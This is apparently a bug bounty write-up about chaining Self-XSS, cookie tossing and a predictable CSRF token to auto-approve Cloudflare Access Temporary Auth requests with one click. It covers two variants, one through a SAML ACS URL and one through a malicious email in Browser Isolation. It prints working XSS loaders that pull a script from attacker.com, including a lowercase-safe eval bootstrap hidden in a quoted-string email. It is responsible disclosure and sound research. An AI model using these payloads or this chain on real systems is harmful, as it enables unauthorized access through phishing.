You know, that vulnerability class that triagers love to close as “informative” faster than you can type “but wait, there’s a chain.” I took three bugs that would each get laughed out of a triage queue – a Self-XSS nobody can reach, a Cookie Tossing that does nothing, and a predictable CSRF token with no delivery mechanism – and duct-taped them into a single-click bypass of Cloudflare Access’s Temporary Auth approval flow. After the initial fix, I found a second Self-XSS variant in the Browser Isolation feature and replayed the entire chain again, because apparently one “informative” turned “valid” wasn’t enough. The vulnerabilities were reported via HackerOne to the Cloudflare security team.

Preparation: What is Cloudflare Temporary Auth?

Temporary Auth is a feature within Cloudflare Access that enforces approval-based access to protected applications. When a user tries to access a Temp Auth-protected app, they submit an access request. An authorized approver – typically an admin/manager – receives this request and can manually approve or deny it. Once approved, the user gets time-limited access.

The approval mechanism is protected by two things:

  1. A CF_Authorization cookie that authenticates & authorizes the approver’s session
  2. An AntiCSRF token that should prevent cross-site request forgery

Sounds solid enough, until you realize both defenses can be undermined simultaneously.

Access Request Approval Flow

Opening: Three Bugs, Zero Impact (Each)

The chain starts with three bugs that, individually, would get closed as informative on any bug bounty platform.

Bug 1: Self-XSS on the SAML SSO Endpoint

Cloudflare Access allows organizations to integrate Identity Providers via SAML. When configuring a SAML application in the attacker’s own ZeroTrust environment, the setup requires an ACS (Assertion Consumer Service) URL – the endpoint where the IdP sends authentication responses back to the Service Provider. In Cloudflare’s case, this ACS URL lands at attackerdomain.cloudflareaccess.com/cdn-cgi/access/sso/saml.

The problem was twofold. First, while registering the SAML app in Cloudflare’s dashboard, the ACS URL field accepted non-HTTP protocols – a javascript: URI was happily saved without any validation. Second, when the SSO endpoint at attackerdomain.cloudflareaccess.com/cdn-cgi/access/sso/saml was hit, it rendered an auto-submitting POST form with this ACS URL as the form action. Since the javascript: URI went straight into the form’s action attribute, the auto-submit triggered arbitrary JavaScript execution on the *.cloudflareaccess.com origin.

The catch? It’s an authenticated Self-XSS. The SAML SSO endpoint requires a valid CF_Authorization cookie – meaning you need to be logged into the attacker’s organization to trigger it. Only the attacker can fire the XSS on their own subdomain. No direct path to exploit another user. Self-XSS, by definition, is a non-issue.

I had actually found this about 2 years ago, but it sat dormant in my notes since I couldn’t find a way to escalate it. Sometimes bugs just need to marinate.

Cloudflare Access uses two cookies on *.cloudflareaccess.com: CF_Authorization handles authentication and authorization (determining who you are and what you can access), while CF_Session is used for CSRF prevention on sensitive actions like access request approvals.

The CF_Session cookie is scoped to *.cloudflareaccess.com. Through Cookie Tossing – setting a cookie from a subdomain that propagates to all sibling subdomains – it’s possible to fixate this cookie from attackerdomain.cloudflareaccess.com to victimdomain.cloudflareaccess.com.

By setting CF_Session=ZeroTrustIsFun! (or any known value) from the attacker’s subdomain, the cookie gets sent on every *.cloudflareaccess.com/access-request/* request, including the victim’s approval endpoints.

On its own? Useless. Fixating someone’s CSRF cookie doesn’t do anything meaningful without a way to exploit the fixated value.

Bug 3: Predictable AntiCSRF Token

Normally, the approval flow works like this: the approver receives an approval link (e.g. via email), clicks it to open the access request page at *.cloudflareaccess.com/access-request/*, and then manually clicks the “Approve” button. This button triggers a POST request protected by a csrf_token. But here’s the thing – this token is fixed and static, derived directly from the CF_Session cookie value. When CF_Session is not present(which is default), it gets set to a random value on each page load, making the csrf_token unpredictable. However, if the cookie value is known, the CSRF token is known. It’s entirely deterministic.

Since Bug 2 lets us fixate CF_Session to a known value, we can exactly predict the AntiCSRF token for any approval request. A predictable CSRF token without a delivery mechanism is just a design flaw sitting in a codebase, not a vulnerability.

Three bugs. Three dead ends. Unless you chain them.

Mid Game: The Chain That Makes Them Lethal

SAML SSO Self-XSS Exploit Chain

The attack flow connects the bugs in sequence:

  1. Self-XSS provides JavaScript execution on attackerdomain.cloudflareaccess.com
  2. Cookie Tossing from that origin fixates CF_Session across all *.cloudflareaccess.com subdomains, including the victim’s
  3. Predictable CSRF token from the fixated cookie allows a forged POST request to auto-approve the attacker’s pending access request

Rather than cramming the entire exploit into the ACS URL field, I used it as a loader – the ACS URL was set to:

javascript:document.body.appendChild(Object.assign(document.createElement('script'),{src:'https://attacker.com/js'}))//

This injects a remote script from https://attacker.com/js that hosts the actual payload. It removes any size limitations of the ACS field and, more importantly, avoids having to reconfigure the SAML app’s ACS URL every time during research – just update the remote script and the exploit changes instantly.

The remaining challenge: the Self-XSS is authenticated. How do you get the victim to trigger an authenticated XSS on the attacker’s domain, in a single click?

Cloudflare Access supports OTP (One-Time Password) login. When a user requests an OTP, they receive an email with two options to authenticate: either manually enter the 6-digit code into the login window, or click a magic link embedded in the email. The magic link follows a redirect chain through attackerdomain.cloudflareaccess.com/cdn-cgi/access/authorized?nonce=&code=&secret= that sets the CF_Authorization cookie, effectively authenticating the browser session without any user interaction beyond the initial click.

The trick: generate an OTP magic link for the attacker’s own account beforehand, and embed it in the phishing link. Crucially, the OTP login only sets CF_Authorization on attackerdomain.cloudflareaccess.com – it does not overwrite the victim’s existing CF_Authorization on victimdomain.cloudflareaccess.com. The cookie is scoped per subdomain, so the victim’s approver session on victimdomain remains fully intact throughout the attack. When the victim clicks, their browser automatically:

  1. Follows the OTP magic link redirections, setting CF_Authorization on attackerdomain.cloudflareaccess.com only (the victim’s own session on victimdomain is untouched)
  2. Lands on the SAML SSO endpoint where the Self-XSS payload fires
  3. JavaScript executes Cookie Tossing, fixating CF_Session=ZeroTrustIsFun! across *.cloudflareaccess.com
  4. Since CF_Session is now a known value set on victim’s browser and the CSRF token is just a hash derived from it, I had already pre-computed the matching csrf_token from my own account beforehand – no guessing needed
  5. Sends a cross-origin POST request from attackerdomain.cloudflareaccess.com to victimdomain.cloudflareaccess.com/access-request/* with the pre-computed CSRF token. Since both are subdomains of cloudflareaccess.com, the request goes through with the fixated CF_Session cookie attached, auto-approving the attacker’s pending Temporary Auth request

All of this happens in a single click. The victim sees nothing suspicious – just a page load – while their browser silently approves the attacker’s access request.

Impact

Even without the approver manually approving the Access Request, the attacker tricks the approver into auto-approving it. After clicking the malicious link, the approval fires instantaneously – the JavaScript inside the page approves the request before the approver can react. The approver can try to cancel the request afterwards, but it’s too late: the attacker is already logged in with valid application cookies until they expire.

This effectively bypasses Cloudflare Access’s Temporary Auth policy rules – the core access control mechanism that organizations rely on.

End Game: Post-Fix Comeback via Browser Isolation

The initial chain was patched. The SAML SSO Self-XSS was fixed. Time to move on?

Not quite. A couple of hours of brainstorming after the fix, I discovered another Self-XSS – this time in Cloudflare’s Browser Isolation feature. Same chain, different entry point.

Browser Isolation Self-XSS Exploit Chain

Stored Self-XSS in the Email Field

The Browser Isolation feature has several endpoints under *.cloudflareaccess.com/browser that display user information. Some of these endpoints pull the user’s email directly from the CF_Authorization cookie’s JWT email claim – and render it without sanitization. The email was injected inside an inline <script> tag, something like:

<script>
  ...
   var userEmail = '<injection>';
  ...
</script>

By closing the string literal and injecting a new </script> tag, it was possible to break out of the script context and inject arbitrary HTML/JS.

I first experimented with some sample emails containing basic HTML tags to confirm the injection worked. Once I verified the email field was being rendered unsanitized, I moved on to constructing a full-fledged exploit.

There was an additional hurdle: Cloudflare’s email field had format validation that rejected obviously malformed email addresses. I dug into the email RFCs and found that the quoted-string feature allows almost any character inside the local part when wrapped in double quotes. The final payload email that worked for me, looked like this:

"test'</script><script>alert(document.domain)</script>"@burp-collab-domain.com

This passes email format validation (it’s technically a valid email per RFC 5321), while the local part contains the full script breakout and Stage 1 bootstrap.

By registering with this malicious email address on the attacker’s organization, the payload executes whenever the Browser Isolation page renders.

This is a Stored Self-XSS: the payload persists in the CF_Authorization Cookie and fires every time the authenticated session loads the Browser Isolation page. Just like the SAML SSO variant, it’s an authenticated Self-XSS – a valid CF_Authorization cookie is required to access the Browser Isolation endpoint, so the same OTP magic link trick is needed to deliver it.

The Lowercase Constraint

There was one problem: the /browser endpoint lowercases email addresses before rendering them. In the SAML SSO variant, the ACS URL payload was:

javascript:document.body.appendChild(Object.assign(document.createElement('script'),{src:'https://attacker.com/js'}))//

This contains uppercase characters in javascript keywords like Object, appendChild, Element – all required by JavaScript’s case-sensitive API. Lowercasing turns document.createElement into document.createelement, which is invalid JavaScript and throws a syntax error. A standard XSS payload breaks the moment it hits the email normalization.

I spent some time researching a fully lowercase JavaScript payload, but couldn’t come up with one quickly. Something like JSF*ck could technically work since it only uses []()!+ characters, but the resulting payload would be absurdly long – overkill for an email field.

The solution? Split the payload across three stages:

Stage 1: Email Injection (Lowercase-Safe)

The malicious email field contains a minimal bootstrap that’s entirely lowercase-safe:

<script>eval(unescape(window.location.search.split('=')[0].slice(1)))</script>

This reads the next stage from the URL’s query parameter key (not value), which is not subject to lowercasing.

Stage 2: Query Parameter Loader

The query parameter in the URL contains JavaScript that injects a remote script tag:

var s=document.createElement('script');
s.src='https://attacker.com/js';
document.head.appendChild(s);

This bypasses the lowercase constraint entirely by loading the payload externally.

Stage 3: Remote Payload

The remote script performs the actual attack – Cookie Tossing to fixate CF_Session and the auto-approval POST request with the predicted CSRF token. No case restrictions since it’s served from an external domain.

Putting it all together, the final email registered during the OTP request stage was:

"test'</script><script>eval(unescape(window.location.search.split('=')[0].slice(1)))</script>"@burp-collab-domain.com

The beauty of the RFC quoted-string format is that the domain part (burp-collab-domain.com) is a perfectly valid mail server – emails actually get delivered to the Burp Collaborator inbox, which is how the attacker receives the OTP magic link in the first place.

And the final URL that the victim’s browser lands on after the OTP magic link redirect chain completes is:

https://attackerdomain.cloudflareaccess.com/browser/https://example.com/?document.head.appendChild(Object.assign(document.createElement("script"),{src:"https://attacker.com/js"}))

At this point, the CF_Authorization cookie is already set from the OTP login. The /browser endpoint renders the page with the unsanitized email from the JWT, Stage 1 fires, reads the query string containing Stage 2, and evals it.

The Full Comeback Chain

  1. Attacker registers an account with the malicious email (containing Stage 1 XSS) in their organization
  2. Attacker initiates Temporary Auth flow, gets the pending access request
  3. Attacker enters a Burp Collaborator domain as the email target, receives the OTP magic link from there
  4. The magic link is embedded in the phishing URL along with Stage 2 in the query parameter
  5. Victim clicks the link → OTP redirect chain fires → CF_Authorization is set with the malicious email in the JWT
  6. Browser Isolation page renders → unsanitized email triggers Stage 1 → Stage 2 loads → Stage 3 executes
  7. Cookie Tossing + auto-approval fires silently
  8. Attacker’s Temporary Auth request is approved

Same impact as the original chain. The SAML SSO fix was irrelevant – the architecture still had the same structural weaknesses (Cookie Tossing and predictable CSRF tokens), and a new Self-XSS trigger was all it took to revive the entire exploit.

Timeline

DateEvent
Aug 31, 2025Report #3321406 submitted – Self-XSS + Cookie Tossing + CSRF Prediction chain
Sep 10, 2025Report #3321406 triaged
Nov 11, 2025Report #3321406 fixed. $1000 bounty awarded
Nov 12, 2025Report #3423950 submitted – Browser Isolation Self-XSS variant
Nov 13, 2025Report #3423950 triaged
Jan 06, 2026Report #3423950 fixed
Apr 02, 2026$2000 bounty awarded for #3423950
Apr 06, 2026Writeup published

Conclusion

Three bugs. Individually, each one is a textbook “informative close” – a Self-XSS nobody can reach, a cookie fixation that doesn’t do anything useful, a CSRF token flaw without a delivery mechanism. But chained together with an OTP magic link for single-click delivery, they bypass Cloudflare Access’s core approval mechanism in an instant.

When the first Self-XSS was patched, the same architectural weaknesses – Cookie Tossing across *.cloudflareaccess.com and the predictable CSRF token – allowed a second Self-XSS variant to revive the entire chain. Fixing one link doesn’t kill the chain if the other links still exist.

Some takeaways from this research:

  • RFC quoted-strings are your friend: Email format validation can be bypassed using RFC 5321’s quoted local part – "anything<script>here</script>"@domain.com is a perfectly valid email that passes validation and delivers correctly.
  • Split payloads across delivery channels: When the injection point has constraints (like lowercasing), don’t force everything into one place. Splitting the payload across the email field, query string parameters, and a remote script made each stage simple while the combination was lethal.
  • Lowercase XSS is a solvable problem: Functions like eval(), unescape(), and window.location.search are entirely lowercase. A minimal bootstrap using these can load arbitrary mixed-case code from external sources.
  • Don’t discard Self-XSS: That bug sitting in your notes for 2 years might just need the right chain to become a valid finding. Keep collecting primitives.

That’s all for this post. Stay hackin'